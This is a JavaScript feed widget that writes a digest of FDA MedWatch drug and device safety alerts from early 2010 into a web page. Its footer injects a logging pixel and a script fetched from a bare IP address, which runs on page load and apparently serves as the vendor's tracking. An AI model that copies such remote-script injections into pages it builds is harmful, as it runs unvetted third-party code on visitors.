var digesttext = "<!-- Header --><!-- Items --><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM199965\">Tysabri (Natalizumab): Update of Healthcare Professional Information</a></b> (Feb 5, 2010 16:00) <br/><em>Risk of developing progressive multifocal leukoencephalopathy (PML) increases with increasing durati..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM199927\">Safesheath CSG Coronary Sinus Guide Hemostatic Introducer System with Infusion Sideport by Thomas Medical</a></b> (Feb 4, 2010 19:40) <br/><em>Sheath tip may break off and separate while the sheath is inside a blood vessel, leading to serious ..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM198402\">Zyprexa (olanzapine): Use in Adolescents</a></b> (Jan 30, 2010 03:20) <br/><em>Clinicians should consider the potential long-term risks when prescribing to adolescents.</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM199343\">Videx/Videx EC (didanosine): Labeling Revision - Risk of Non-Cirrhotic Portal Hypertension</a></b> (Jan 29, 2010 20:30) <br/><em>Risk information added to Warnings/Precautions section and data summary provided</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM199203\">Edwards Lifesciences Aquarius Hemodialysis System: Recall</a></b> (Jan 29, 2010 18:35) <br/><em>Clinically significant fluid imbalance and potential for users to repeatedly override the fluid imba..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM199202\">Hettich Centrifuges with 2050 and 2076 Plastic Rotors: Recall</a></b> (Jan 29, 2010 02:15) <br/><em>Plastic centrifuge rotor may crack, break apart and be forcefully ejected.</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM198728\">Infusion Set Needles [Manufactured by Nipro for Exelint]: Recall</a></b> (Jan 26, 2010 17:58) <br/><em>Class I recall due to \"coring\" or dislodging of silicone cores or slivers from the ports into which ..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM198424\">Velcade (bortezomib): Starting Dose Adjustments for Patients with Hepatic Impairment</a></b> (Jan 26, 2010 16:00) <br/><em>Patients with moderate or severe hepatic impairment should be treated with reduced starting doses an..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM197862\">Alli 60 mg capsules (120 count refill kit): Counterfeit Product</a></b> (Jan 23, 2010 21:00) <br/><em>UPDATE [01/23/2010] Previous alert updated with information on laboratory analysis of sibutramine le..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/UCM198445\">Nipro GlucoPro Insulin Syringes: Recall</a></b> (Jan 22, 2010 19:00) <br/><em>Needles may become detached and remain in the skin.</em><br /><br /><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=NZSYTFQNRD&amp;r=0.315911974905696\"></script>";
document.write(digesttext);
    